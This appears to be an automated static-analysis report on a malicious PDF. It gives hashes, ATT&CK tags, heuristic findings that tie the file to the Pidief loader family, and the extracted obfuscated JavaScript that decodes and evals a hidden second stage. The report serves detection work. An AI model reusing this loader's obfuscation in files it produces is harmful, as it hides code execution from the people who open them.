Malicious PDF — malware analysis report

Static analysis result for SHA-256 0993539ade7bcecc…

MALICIOUS

PDF

15.8 KB Created: 2011-72-51 03:25:00 Authoring application: ring.fromCharCo First seen: 2026-05-09
MD5: 9b376d00231b1968a1d5df25d14ef7b7 SHA-1: 380067a4881dd573460f45e79fcd6148187691b5 SHA-256: 0993539ade7bcecc357faa44704d531b8721addde119d259a146c545d9028f72
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, flagged as a loader, which attempts to decode a character-code array. This script likely reconstructs and executes a second-stage payload, as indicated by the 'ML_NYX_PDF_MALICIOUS' heuristic and the presence of JavaScript actions. The reconstructed string 'this.title' and 'producer' suggest the script is designed to interact with PDF properties to retrieve or construct further malicious code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x3CD3 442 bytes
SHA-256: cf816c84651776d2d6bba914527b834e30679dfb5f9e00bc3d0c4bb78fb0ebfc
Preview script
First 1,000 lines of the extracted script
var l = 'asd'.substr;
var g = l();
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var kajkp="";
qbq='his';
bfmr='ti';
e('ifdw=t'+qbq+"."+bfmr+function(){return 'tle'}());
dkk='["prod';
e('iya=t'+qbq+dkk+function(){return 'ucer'}()+'"]');
rra=e('St'+iya+'de');
hrh = e(ifdw.replace(/k/g, ","));
e('k=hrh.length');
for (i = 0; i < k; i++) {
	qjbqi = (i%2)?hrh[i]/5:hrh[i]/17;
	kajkp += rra(qjbqi);
}
e(kajkp);

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